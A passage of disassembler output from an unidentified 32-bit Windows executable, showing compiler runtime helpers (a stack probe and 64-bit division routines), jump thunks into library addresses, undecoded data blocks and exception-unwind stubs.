		xor	byte ptr [edi-34h], 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_436840	proc near		; CODE XREF: sub_40A030+5p
					; sub_40FF60+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_436860


loc_43684C:				; CODE XREF: sub_436840+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax


loc_436859:				; CODE XREF: ___:004367E0j
		cmp	eax, 1000h
		jnb	short loc_43684C


loc_436860:				; CODE XREF: sub_436840+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_436840	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 810DEBE9h, 0E9903977h, 777E6714h
		db 0E9h
; ---------------------------------------------------------------------------


loc_43687D:				; CODE XREF: ___:00436804j
		cmc
		xchg	eax, ecx
		xor	byte ptr [edi-18h], 90h
		jmp	near ptr 77C47A50h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0F0h, 35h
		dd 8DE97780h, 1B778110h, 7F5B6EE9h, 3D83FF77h, 50E9F4h
		dd 0FF0C75FFh, 90042474h, 7FE54BE8h, 68C35977h,	50E9E4h
		dd 50E9F468h, 2474FF00h, 310E80Ch, 0C4830000h, 74FFC30Ch
		dd 0CBE80424h, 0F7FFFFFFh, 59C01BD8h, 0C348D8F7h, 7F593EE9h
		dd 0D9E96C77h, 74778008h, 8E9E990h
		db 80h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4368EA	proc near		; CODE XREF: sub_4198C0+28p
		jmp	near ptr 77C4FA10h
sub_4368EA	endp

; ---------------------------------------------------------------------------
		scasb

; =============== S U B	R O U T	I N E =======================================



sub_4368F0	proc near		; CODE XREF: sub_41B820+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_436911
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_436961
; ---------------------------------------------------------------------------


loc_436911:				; CODE XREF: sub_4368F0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_43691F:				; CODE XREF: sub_4368F0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_43691F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_43694A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_43694A
		jb	short loc_436952
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_436952


loc_43694A:				; CODE XREF: sub_4368F0+4Aj
					; sub_4368F0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_436952:				; CODE XREF: sub_4368F0+52j
					; sub_4368F0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_436961:				; CODE XREF: sub_4368F0+1Fj
		pop	ebx
		retn	10h
sub_4368F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_436970	proc near		; CODE XREF: sub_41B820+30p
					; sub_41B820+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_436992
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4369D3
; ---------------------------------------------------------------------------


loc_436992:				; CODE XREF: sub_436970+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4369A0:				; CODE XREF: sub_436970+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4369A0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4369CE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4369CE
		jb	short loc_4369CF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4369CF


loc_4369CE:				; CODE XREF: sub_436970+4Ej
					; sub_436970+54j
		dec	esi


loc_4369CF:				; CODE XREF: sub_436970+56j
					; sub_436970+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4369D3:				; CODE XREF: sub_436970+20j
		pop	esi
		pop	ebx
		retn	10h
sub_436970	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0D3h, 0A0h
		dd 0E9907780h, 7780862Ch, 811478E9h, 0E9908077h, 7780A486h
		dd 0A805E990h, 0E9907780h, 7780AB78h, 80A99BE9h, 34E94E77h
		dd 27780ADh, 11D2E990h,	5FE97781h, 767780B1h, 8084DDE9h
		dd 0E9909577h, 7780A3F3h, 569DE990h, 0E990777Fh, 777E5B35h
		dd 8003C1E9h, 0E9909777h, 778007C2h, 7E887FE9h,	0E9909A77h
		dd 77808EEDh, 0AE20E990h, 0E9907780h, 7780398Bh, 38B1E990h
		dd 0E9907780h, 778126B7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436A5C	proc near		; CODE XREF: ___:0043168Cp
		nop
		jmp	near ptr 77C3619Ch
sub_436A5C	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7780030Ch, 80A144E9h, 0D056B877h, 574E35A8h,	0B0C4B231h
		dd 65C01F5Ah, 0A164B9h,	50000000h, 258964h, 83000000h
		dd 565368ECh, 0E8658957h, 5D89DB33h, 90026AFCh,	7FE8DBE8h
		dd 0D835977h, 50E9E4h, 0F40D83FFh, 0FF0050E9h, 7E8726E8h
		dd 0D8B9077h, 50E8E8h, 0E8900889h, 777E86E0h, 0E8E40D8Bh
		dd 8890050h, 50FA1CA1h,	0A3008B00h, 50E9D8h, 12EE8h, 1D3900h
		dd 7500446Dh, 6C08680Ch, 86E80043h, 9077816Bh, 0FAE859h
		dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8E0A100h, 45890050h
		dd 94458D94h, 0DC35FF50h, 8D0050E8h, 8D509C45h,	8D509045h
		dd 0E850A045h, 777E83C3h, 32086890h, 680044h, 0E8004430h
		dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
		dd 22B95DBh, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h,	242B138h
		dd 0B322E850h, 4589FFFCh, 0E8905098h, 778032D2h, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0E8908875h, 778032CEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436BCC	proc near		; CODE XREF: ___:00436814p
		nop
		jmp	near ptr 77C21868h
sub_436BCC	endp

; ---------------------------------------------------------------------------
		dw 7AE9h
dword_436BD4	dd 0FF777FE2h, 32BCE990h, 0E9907780h, 777FC1CAh, 7E8302E9h
		dd 0E9905D77h, 77803177h, 3000068h, 6800h, 25E80001h, 59000000h
		dd 0E990C359h, 77816A6Dh, 0C3C3C033h, 8592E990h, 0E990777Eh
		dd 777E85C3h, 0E75EE990h, 0E990777Fh, 777FF070h, 8205E990h
		dd 3CE97781h, 2075C697h, 9819E990h, 0E99075C6h,	75C5B3F2h
		dd 0C58844E9h, 0E9E9A175h, 0FA75C697h, 0B319E990h, 0E99075C4h
		dd 75C54BF8h, 0A55E990h, 85E975C6h, 1675C4EEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436C60	proc near		; CODE XREF: sub_4192C0+17Ep
		nop
		jmp	near ptr 76D6AC1Dh
sub_436C60	endp

; ---------------------------------------------------------------------------
		dw 62E9h
		dd 0BB02399Bh, 9C5AE990h, 0E9900239h, 23A9388h,	9999E990h
		dd 0E990023Ah, 23B937Ch, 0A4B1E990h, 0E990023Bh, 23C9370h
		dd 3D936BE9h, 0E990CA02h, 23DA762h, 3DA8FFE9h, 3CE90C02h
		dd 9F023DADh, 0B05DE990h, 4DE9023Dh, 62023E93h,	9A64E990h
		dd 0B7E9023Eh, 0B8023E9Eh, 933AE990h, 0E990023Fh, 23F9E42h
		dd 932EE990h, 0E9900240h, 240953Ah, 9322E990h, 0E9900241h
		dd 242931Ch, 42A526E9h,	0E5E99202h, 530242AFh, 930AE990h
		dd 0E9900243h, 24398FEh, 9DFEE990h, 0E9900243h,	2439F8Fh
		dd 3992F3E9h, 0E9907602h, 2389AC8h, 3892E7E9h, 0E1E97602h
		dd 46023792h, 369BBBE9h, 0D5E98D02h, 28023692h,	3592CFE9h
		dd 38E99702h, 0DE02349Ah, 95CEE990h, 0E9900234h, 23492BCh
		dd 9970E990h, 0E9900233h, 22B92B0h, 92AAE990h, 0E9900233h
		dd 2329D2Dh, 329CCBE9h,	0E990D902h, 7C4CA385h, 0A297E990h
		dd 0E9907C4Ch, 2329AEAh, 9939E990h, 0E9900232h,	2329280h
		dd 9A51E990h, 0E9900231h, 23199A3h, 980DE990h, 0BEE90231h
		dd 0E1023196h, 9505E990h, 0E9900231h, 231925Ch,	9E90E990h
		dd 58E90230h, 1602309Ch, 9AC5E990h, 0E9900230h,	2309819h
		dd 309770E9h, 0E9902F02h, 2309238h, 2F9F19E9h, 0BCE9E802h
		dd 7022F9Bh, 9A4BE990h,	0F8E9022Fh, 7022F95h, 921AE990h
		dd 0C0E9022Fh, 0A6022E9Ch, 98FDE990h, 0E990022Eh, 22E9899h
		dd 9202E990h, 0E990022Eh, 22D9FE0h, 2D9CE1E9h, 0E990E602h
		dd 22D9896h, 2D91EBE9h,	0E9908802h, 22C9E1Fh, 2C9CACE9h
		dd 0E9902002h, 22C99EAh, 2C9840E9h, 0E9908802h,	22C91CCh
		dd 2B931AE9h, 0E990DE02h, 1B6C72h, 91BAE990h, 0E9900244h
		dd 24EA238h, 91AEE990h,	0E990024Ah, 24E91A8h, 4D91A3E9h
		dd 9DE93902h, 0CA024C9Eh, 9196E990h, 0E990024Ch, 24B9492h
		dd 918AE990h, 0E990024Bh, 24A9C96h, 99EAE990h, 0E990024Ah
		dd 24A98BFh, 4A9667E9h,	0C4E9E102h, 67024495h, 9D53E990h
		dd 0E9900249h, 24998DFh, 94E6E990h, 55E90249h, 76024991h
		dd 914EE990h, 0E9900248h, 2479148h, 46ADBAE9h, 7CE92802h
		dd 1B0246AAh, 0A75BE990h, 0E9900246h, 246A582h,	912AE990h
		dd 0E9900246h, 2459124h, 0A22EE990h, 0E9907C60h, 7167D059h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436EE8	proc near		; CODE XREF: ___:0042C8F1p
		nop
		jmp	near ptr 71AB4FD4h
sub_436EE8	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 71687585h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436EF4	proc near		; CODE XREF: sub_42C8E1+1p
		nop
		jmp	near ptr 71AB2BF4h
sub_436EF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436EFA	proc near		; CODE XREF: sub_42CC50+E5p
					; sub_42DC70+4Fp
		jmp	near ptr 71AB615Ah
sub_436EFA	endp

; ---------------------------------------------------------------------------
		db 7Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F00	proc near		; CODE XREF: sub_42D1A0+9Ap
					; sub_42DD50+45p ...
		jmp	near ptr 71AB428Ah
sub_436F00	endp

; ---------------------------------------------------------------------------
		db 67h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F06	proc near		; CODE XREF: sub_42DFD0+53p
					; sub_42DFD0+96p ...
		nop
		jmp	near ptr 71AB9639h
sub_436F06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F0C	proc near
		nop
		jmp	near ptr 71AC1028h
sub_436F0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F12	proc near		; CODE XREF: sub_42CE80+71p
					; sub_42DA60+50p
		nop
		jmp	near ptr 71AB2DC0h
sub_436F12	endp

; ---------------------------------------------------------------------------
		dd 67BCA3E9h
		db 71h,	0CFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F1E	proc near
		nop
		jmp	near ptr 71AB88D3h
sub_436F1E	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 3Ch, 0BCh
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F2A	proc near		; CODE XREF: sub_42D580+187p
		nop
		jmp	near ptr 71AB951Eh
sub_436F2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F30	proc near
		nop
		jmp	near ptr 71AB3E00h
sub_436F30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F36	proc near		; CODE XREF: sub_42C810+B1p
		nop
		jmp	near ptr 71AB2B66h
sub_436F36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F3C	proc near		; CODE XREF: ___:0042C93Fp
					; sub_42D580+152p
		nop
		jmp	near ptr 71AB3B91h
sub_436F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F42	proc near
		nop
		jmp	near ptr 71AB406Ah
sub_436F42	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0DAh, 0D4h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F4E	proc near		; CODE XREF: sub_42C790+10p
		nop
		jmp	near ptr 71AB664Dh
sub_436F4E	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 6Eh, 0E1h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F5A	proc near		; CODE XREF: sub_4338B0+Bp
		nop
		jmp	near ptr 71AB94DCh
sub_436F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F60	proc near		; CODE XREF: sub_41A6D0+92p
					; sub_41A8C0+CAp ...
		nop
		jmp	near ptr 71AB4544h
sub_436F60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 71689BE4h, 0D5A7E990h, 0E9907167h, 7167BC48h, 0BD91E990h
		dd 0E9907167h, 7167BCE5h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F84	proc near
		nop
		jmp	near ptr 71AB3EA1h
sub_436F84	endp

; ---------------------------------------------------------------------------
		dw 0DAE9h
		dd 39716817h, 0D4F3E990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F96	proc near		; CODE XREF: sub_42C810+53p
					; sub_42C810+C3p
		jmp	near ptr 71ABE6EBh
sub_436F96	endp

; ---------------------------------------------------------------------------
		cmc

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F9C	proc near		; CODE XREF: sub_42DFD0+4Ap
		nop
		jmp	near ptr 71AC0BDEh
sub_436F9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FA2	proc near
		nop
		jmp	near ptr 71AB2A5Eh
sub_436FA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FA8	proc near		; CODE XREF: ___:0041C1B7p
					; ___:0041C1CCp
		nop
		jmp	near ptr 71B2578Ch
sub_436FA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FAE	proc near		; CODE XREF: ___:0041C30Dp
					; ___:0041C32Fp
		nop
		jmp	near ptr 71B25099h
sub_436FAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FB4	proc near		; CODE XREF: sub_41FF90+B4p
		jmp	near ptr 76BF215Ah
sub_436FB4	endp

; ---------------------------------------------------------------------------
		db 0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FBA	proc near		; CODE XREF: sub_41FF90+9Bp
		nop
		jmp	near ptr 76BF1F1Ch
sub_436FBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FC0	proc near		; CODE XREF: sub_41FF90+21p
		nop
		jmp	near ptr 76BF3A9Ah
sub_436FC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FC6	proc near		; CODE XREF: ___:0041B1B4p
		nop
		jmp	near ptr 76F36C5Bh
sub_436FC6	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 7Ch, 0F2h
dword_436FD0	dd 0E9907780h, 7780F14Dh, 80F193E9h, 3DE99F77h,	0BB7780F3h
		dd 2C7h	dup(0CCCCCCCCh), 0FB988D8Dh, 1BE9FFFFh,	8DFFFC97h
		dd 0FFFBC88Dh, 9710E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC9705E9h
		dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC96FAh, 0FB94858Bh, 0E083FFFFh
		dd 0FC08501h, 884h, 44D8B00h, 0FC96E1E9h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4034E0	proc near		; DATA XREF: sub_4034E0+2o
		mov	eax, offset dword_43E470
		jmp	sub_4367C8
SEH_4034E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_437B7B:				; DATA XREF: ___:0043E4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40206D

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4036D0	proc near		; DATA XREF: sub_4036D0+2o
		mov	eax, offset dword_43E4C0
		jmp	sub_4367C8
SEH_4036D0	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C00	proc near		; DATA XREF: sub_403C00+2o
		mov	eax, offset dword_43E700
		jmp	sub_4367C8
SEH_403C00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_437FC8:				; DATA XREF: ___:0043E75Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C90	proc near		; DATA XREF: sub_403C90+2o
		mov	eax, offset dword_43E730
		jmp	sub_4367C8
SEH_403C90	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_437FF8:				; DATA XREF: ___:0043E794o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D10	proc near		; DATA XREF: sub_403D10+2o
		mov	eax, offset dword_43E768
		jmp	sub_4367C8
SEH_403D10	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D90	proc near		; DATA XREF: sub_403D90+2o
		mov	eax, offset dword_43E7A0
		jmp	sub_4367C8
SEH_403D90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_438048:				; DATA XREF: ___:0043E7FCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403E00	proc near		; DATA XREF: sub_403E00+2o
		mov	eax, offset dword_43E7D0
		jmp	sub_4367C8
SEH_403E00	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_4380C8:				; DATA XREF: ___:0043E85Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403EE0	proc near		; DATA XREF: sub_403EE0+2o
		mov	eax, offset dword_43E830
		jmp	sub_4367C8
SEH_403EE0	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
